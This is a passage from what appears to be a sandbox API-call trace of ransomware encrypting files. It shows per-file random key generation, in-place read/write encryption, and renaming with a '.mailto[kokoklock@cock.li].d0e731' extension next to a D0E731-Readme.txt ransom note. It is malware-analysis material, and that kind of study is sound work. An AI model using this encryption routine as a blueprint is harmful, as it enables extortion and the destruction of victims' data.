Seed=0x9b6fe04) returned 0x4b9dbe1f [0166.548] RtlRandom (in: Seed=0x9b6fe04 | out: Seed=0x9b6fe04) returned 0xe53d182b [0166.561] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe40c8 [0166.563] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaf48 [0166.563] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe40f0 [0166.563] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaf48) returned 1 [0166.563] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0166.563] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0166.563] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.563] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x9b6fdd0, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0x9b6fdd0*=0x4096, lpOverlapped=0x0) returned 1 [0166.564] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.564] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87620 [0166.564] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faae58 [0166.564] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0166.564] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0166.564] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0166.565] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4140 [0166.565] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0166.565] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0166.565] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae58) returned 1 [0166.565] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87620) returned 1 [0166.565] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x9b6fdd0, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0x9b6fdd0*=0x4096, lpOverlapped=0x0) returned 1 [0166.565] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0166.565] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x137d2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.565] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4140*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x9b6fe08, lpOverlapped=0x0 | out: lpBuffer=0x2fe4140*, lpNumberOfBytesWritten=0x9b6fe08*=0x20, lpOverlapped=0x0) returned 1 [0166.565] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4140) returned 1 [0166.565] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0166.565] WriteFile (in: hFile=0x528, lpBuffer=0x2fe40f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x9b6fe1c, lpOverlapped=0x0 | out: lpBuffer=0x2fe40f0*, lpNumberOfBytesWritten=0x9b6fe1c*=0x8, lpOverlapped=0x0) returned 1 [0166.566] WriteFile (in: hFile=0x528, lpBuffer=0x9b6fe34*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9b6fe1c, lpOverlapped=0x0 | out: lpBuffer=0x9b6fe34*, lpNumberOfBytesWritten=0x9b6fe1c*=0x4, lpOverlapped=0x0) returned 1 [0166.566] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9b6fe1c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x9b6fe1c*=0x4, lpOverlapped=0x0) returned 1 [0166.566] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x9b6fe1c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x9b6fe1c*=0x6c, lpOverlapped=0x0) returned 1 [0166.566] WriteFile (in: hFile=0x528, lpBuffer=0x2fe43c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x9b6fe1c, lpOverlapped=0x0 | out: lpBuffer=0x2fe43c0*, lpNumberOfBytesWritten=0x9b6fe1c*=0x20, lpOverlapped=0x0) returned 1 [0166.566] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9b6fe1c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x9b6fe1c*=0x4, lpOverlapped=0x0) returned 1 [0166.566] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe43c0) returned 1 [0166.566] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe40c8) returned 1 [0166.566] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe40f0) returned 1 [0166.566] CloseHandle (hObject=0x528) returned 1 [0166.566] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xde) returned 0x2fc3290 [0166.566] wcscpy (in: _Dest=0x2fc3290, _Source="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0166.566] wcscat (in: _Dest=0x2fc3290, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0166.566] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0166.567] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0166.571] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3290) returned 1 [0166.571] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0166.571] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f87bc8 [0166.571] wcscpy (in: _Dest=0x2f87bc8, _Source="C:\\588bce7c90097ed212\\1043\\" | out: _Dest="C:\\588bce7c90097ed212\\1043\\") returned="C:\\588bce7c90097ed212\\1043\\" [0166.571] wcscat (in: _Dest=0x2f87bc8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1043\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1043\\D0E731-Readme.txt" [0166.571] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1043\\d0e731-readme.txt")) returned 0x20 [0166.571] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87bc8) returned 1 [0166.571] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ccd8) returned 1 [0166.571] RtlExitUserThread (Status=0x1) Thread: id = 1624 os_tid = 0x468 [0166.572] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0166.573] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0166.573] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0166.574] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x9bef92c | out: lpFileSize=0x9bef92c*=12879) returned 1 [0166.574] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x324b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.574] ReadFile (in: hFile=0x528, lpBuffer=0x9bef900, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x9bef8fc, lpOverlapped=0x0 | out: lpBuffer=0x9bef900*, lpNumberOfBytesRead=0x9bef8fc*=0x4, lpOverlapped=0x0) returned 1 [0166.575] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.575] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0166.575] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe43c0 [0166.575] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe40c8 [0166.576] NtQuerySystemTime (in: CurrentTime=0x9bef8d8 | out: CurrentTime=0x9bef8d8*=132121213238917097) returned 0x0 [0166.576] RtlRandom (in: Seed=0x9bef8e4 | out: Seed=0x9bef8e4) returned 0x65f796ee [0166.576] RtlRandom (in: Seed=0x9bef8e4 | out: Seed=0x9bef8e4) returned 0x47668875 [0166.576] RtlRandom (in: Seed=0x9bef8e4 | out: Seed=0x9bef8e4) returned 0xc0b131c4 [0166.576] RtlRandom (in: Seed=0x9bef8e4 | out: Seed=0x9bef8e4) returned 0x353358be [0166.576] RtlRandom (in: Seed=0x9bef8e4 | out: Seed=0x9bef8e4) returned 0x20cec382 [0166.576] RtlRandom (in: Seed=0x9bef8e4 | out: Seed=0x9bef8e4) returned 0x7494b08b [0166.576] RtlRandom (in: Seed=0x9bef8e4 | out: Seed=0x9bef8e4) returned 0x9dcec546 [0166.576] RtlRandom (in: Seed=0x9bef8e4 | out: Seed=0x9bef8e4) returned 0x492ce13c [0166.576] RtlRandom (in: Seed=0x9bef8e4 | out: Seed=0x9bef8e4) returned 0xd5294735 [0166.576] RtlRandom (in: Seed=0x9bef8e4 | out: Seed=0x9bef8e4) returned 0x8853f23c [0166.576] RtlRandom (in: Seed=0x9bef8e4 | out: Seed=0x9bef8e4) returned 0x52514e0a [0166.576] RtlRandom (in: Seed=0x9bef8e4 | out: Seed=0x9bef8e4) returned 0xd7271d3a [0166.576] RtlRandom (in: Seed=0x9bef8e4 | out: Seed=0x9bef8e4) returned 0x82395c68 [0166.576] RtlRandom (in: Seed=0x9bef8e4 | out: Seed=0x9bef8e4) returned 0xcac3e998 [0166.576] RtlRandom (in: Seed=0x9bef8e4 | out: Seed=0x9bef8e4) returned 0x86a6c566 [0166.576] RtlRandom (in: Seed=0x9bef8e4 | out: Seed=0x9bef8e4) returned 0x163bfddd [0166.576] RtlRandom (in: Seed=0x9bef8e4 | out: Seed=0x9bef8e4) returned 0xdb6e1063 [0166.576] RtlRandom (in: Seed=0x9bef8e4 | out: Seed=0x9bef8e4) returned 0x63744b66 [0166.576] RtlRandom (in: Seed=0x9bef8e4 | out: Seed=0x9bef8e4) returned 0x708d778c [0166.576] RtlRandom (in: Seed=0x9bef8e4 | out: Seed=0x9bef8e4) returned 0xb2f83f11 [0166.576] RtlRandom (in: Seed=0x9bef8e4 | out: Seed=0x9bef8e4) returned 0x4a41dbf [0166.576] RtlRandom (in: Seed=0x9bef8e4 | out: Seed=0x9bef8e4) returned 0x6c7c2777 [0166.576] RtlRandom (in: Seed=0x9bef8e4 | out: Seed=0x9bef8e4) returned 0x1234f277 [0166.576] RtlRandom (in: Seed=0x9bef8e4 | out: Seed=0x9bef8e4) returned 0x49531c9f [0166.576] RtlRandom (in: Seed=0x9bef8e4 | out: Seed=0x9bef8e4) returned 0x539c092d [0166.576] RtlRandom (in: Seed=0x9bef8e4 | out: Seed=0x9bef8e4) returned 0xd234a416 [0166.576] RtlRandom (in: Seed=0x9bef8e4 | out: Seed=0x9bef8e4) returned 0x4894e0a7 [0166.576] RtlRandom (in: Seed=0x9bef8e4 | out: Seed=0x9bef8e4) returned 0xe6bf0b07 [0166.576] RtlRandom (in: Seed=0x9bef8e4 | out: Seed=0x9bef8e4) returned 0x488e51b5 [0166.576] RtlRandom (in: Seed=0x9bef8e4 | out: Seed=0x9bef8e4) returned 0x9cc4fa51 [0166.576] RtlRandom (in: Seed=0x9bef8e4 | out: Seed=0x9bef8e4) returned 0xb70fedcf [0166.576] RtlRandom (in: Seed=0x9bef8e4 | out: Seed=0x9bef8e4) returned 0x765659e4 [0166.585] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe40f0 [0166.587] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaf48 [0166.587] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4140 [0166.587] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaf48) returned 1 [0166.587] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0166.587] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87620 [0166.587] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faae58 [0166.587] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0166.588] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0166.588] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0166.588] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0166.588] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x324f, lpNumberOfBytesRead=0x9bef8d8, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0x9bef8d8*=0x324f, lpOverlapped=0x0) returned 1 [0166.589] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x9bef8a0 | out: lpNewFilePointer=0x0) returned 1 [0166.589] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x324f, lpNumberOfBytesWritten=0x9bef8d4, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0x9bef8d4*=0x324f, lpOverlapped=0x0) returned 1 [0166.589] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4168 [0166.589] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0166.589] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0166.589] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4168*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x9bef8d0, lpOverlapped=0x0 | out: lpBuffer=0x2fe4168*, lpNumberOfBytesWritten=0x9bef8d0*=0x20, lpOverlapped=0x0) returned 1 [0166.589] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4168) returned 1 [0166.589] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0166.589] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0166.589] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae58) returned 1 [0166.589] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87620) returned 1 [0166.589] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4140*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x9bef8fc, lpOverlapped=0x0 | out: lpBuffer=0x2fe4140*, lpNumberOfBytesWritten=0x9bef8fc*=0x8, lpOverlapped=0x0) returned 1 [0166.590] WriteFile (in: hFile=0x528, lpBuffer=0x9bef914*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9bef8fc, lpOverlapped=0x0 | out: lpBuffer=0x9bef914*, lpNumberOfBytesWritten=0x9bef8fc*=0x4, lpOverlapped=0x0) returned 1 [0166.590] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9bef8fc, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x9bef8fc*=0x4, lpOverlapped=0x0) returned 1 [0166.590] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x9bef8fc, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x9bef8fc*=0x6c, lpOverlapped=0x0) returned 1 [0166.590] WriteFile (in: hFile=0x528, lpBuffer=0x2fe43c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x9bef8fc, lpOverlapped=0x0 | out: lpBuffer=0x2fe43c0*, lpNumberOfBytesWritten=0x9bef8fc*=0x20, lpOverlapped=0x0) returned 1 [0166.590] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9bef8fc, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x9bef8fc*=0x4, lpOverlapped=0x0) returned 1 [0166.590] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe43c0) returned 1 [0166.590] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe40f0) returned 1 [0166.590] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4140) returned 1 [0166.590] CloseHandle (hObject=0x528) returned 1 [0166.590] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2f7e038 [0166.590] wcscpy (in: _Dest=0x2f7e038, _Source="C:\\588bce7c90097ed212\\1042\\eula.rtf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1042\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1042\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0166.590] wcscat (in: _Dest=0x2f7e038, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1042\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1042\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0166.590] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0166.591] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0166.591] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7e038) returned 1 [0166.591] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0166.591] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f87bc8 [0166.592] wcscpy (in: _Dest=0x2f87bc8, _Source="C:\\588bce7c90097ed212\\1042\\" | out: _Dest="C:\\588bce7c90097ed212\\1042\\") returned="C:\\588bce7c90097ed212\\1042\\" [0166.592] wcscat (in: _Dest=0x2f87bc8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1042\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1042\\D0E731-Readme.txt" [0166.592] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1042\\d0e731-readme.txt")) returned 0x20 [0166.592] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87bc8) returned 1 [0166.592] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe54c8) returned 1 [0166.592] RtlExitUserThread (Status=0x1) Thread: id = 1625 os_tid = 0x484 [0166.594] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0166.595] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0166.595] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0166.595] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x9c6fbf4 | out: lpFileSize=0x9c6fbf4*=65430) returned 1 [0166.595] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0xff92, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.595] ReadFile (in: hFile=0x528, lpBuffer=0x9c6fbc8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x9c6fbc4, lpOverlapped=0x0 | out: lpBuffer=0x9c6fbc8*, lpNumberOfBytesRead=0x9c6fbc4*=0x4, lpOverlapped=0x0) returned 1 [0166.596] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.596] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0166.596] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe43c0 [0166.596] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe40f0 [0166.597] NtQuerySystemTime (in: CurrentTime=0x9c6fba0 | out: CurrentTime=0x9c6fba0*=132121213239073318) returned 0x0 [0166.597] RtlRandom (in: Seed=0x9c6fbac | out: Seed=0x9c6fbac) returned 0x16d49630 [0166.597] RtlRandom (in: Seed=0x9c6fbac | out: Seed=0x9c6fbac) returned 0xaf60c08a [0166.597] RtlRandom (in: Seed=0x9c6fbac | out: Seed=0x9c6fbac) returned 0x78582041 [0166.597] RtlRandom (in: Seed=0x9c6fbac | out: Seed=0x9c6fbac) returned 0x2fe0b8cd [0166.597] RtlRandom (in: Seed=0x9c6fbac | out: Seed=0x9c6fbac) returned 0xe6a741fe [0166.597] RtlRandom (in: Seed=0x9c6fbac | out: Seed=0x9c6fbac) returned 0x4a888f [0166.597] RtlRandom (in: Seed=0x9c6fbac | out: Seed=0x9c6fbac) returned 0x6ff784f4 [0166.597] RtlRandom (in: Seed=0x9c6fbac | out: Seed=0x9c6fbac) returned 0x339c20f9 [0166.597] RtlRandom (in: Seed=0x9c6fbac | out: Seed=0x9c6fbac) returned 0xc04e8bc6 [0166.597] RtlRandom (in: Seed=0x9c6fbac | out: Seed=0x9c6fbac) returned 0xeae16053 [0166.597] RtlRandom (in: Seed=0x9c6fbac | out: Seed=0x9c6fbac) returned 0x54693f58 [0166.597] RtlRandom (in: Seed=0x9c6fbac | out: Seed=0x9c6fbac) returned 0x368b91ec [0166.597] RtlRandom (in: Seed=0x9c6fbac | out: Seed=0x9c6fbac) returned 0x137fdd11 [0166.597] RtlRandom (in: Seed=0x9c6fbac | out: Seed=0x9c6fbac) returned 0x6d0c03ba [0166.597] RtlRandom (in: Seed=0x9c6fbac | out: Seed=0x9c6fbac) returned 0xe871e248 [0166.597] RtlRandom (in: Seed=0x9c6fbac | out: Seed=0x9c6fbac) returned 0x53b63b95 [0166.597] RtlRandom (in: Seed=0x9c6fbac | out: Seed=0x9c6fbac) returned 0x39b981be [0166.597] RtlRandom (in: Seed=0x9c6fbac | out: Seed=0x9c6fbac) returned 0xdc83c5fa [0166.597] RtlRandom (in: Seed=0x9c6fbac | out: Seed=0x9c6fbac) returned 0xcd85ee0e [0166.597] RtlRandom (in: Seed=0x9c6fbac | out: Seed=0x9c6fbac) returned 0x4f9b67a [0166.597] RtlRandom (in: Seed=0x9c6fbac | out: Seed=0x9c6fbac) returned 0xa21537b2 [0166.597] RtlRandom (in: Seed=0x9c6fbac | out: Seed=0x9c6fbac) returned 0x5f541c96 [0166.597] RtlRandom (in: Seed=0x9c6fbac | out: Seed=0x9c6fbac) returned 0x9d0c269d [0166.597] RtlRandom (in: Seed=0x9c6fbac | out: Seed=0x9c6fbac) returned 0x2558bfc6 [0166.597] RtlRandom (in: Seed=0x9c6fbac | out: Seed=0x9c6fbac) returned 0x7db4fbb8 [0166.597] RtlRandom (in: Seed=0x9c6fbac | out: Seed=0x9c6fbac) returned 0xe20621a1 [0166.597] RtlRandom (in: Seed=0x9c6fbac | out: Seed=0x9c6fbac) returned 0xea2bd293 [0166.597] RtlRandom (in: Seed=0x9c6fbac | out: Seed=0x9c6fbac) returned 0xa3452fc0 [0166.597] RtlRandom (in: Seed=0x9c6fbac | out: Seed=0x9c6fbac) returned 0xa7738412 [0166.597] RtlRandom (in: Seed=0x9c6fbac | out: Seed=0x9c6fbac) returned 0xa11792de [0166.597] RtlRandom (in: Seed=0x9c6fbac | out: Seed=0x9c6fbac) returned 0xc33711dc [0166.597] RtlRandom (in: Seed=0x9c6fbac | out: Seed=0x9c6fbac) returned 0xdb01729e [0166.606] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4140 [0166.608] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaf48 [0166.608] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4168 [0166.608] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaf48) returned 1 [0166.608] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0166.608] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0166.608] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.609] ReadFile (in: hFile=0x528, 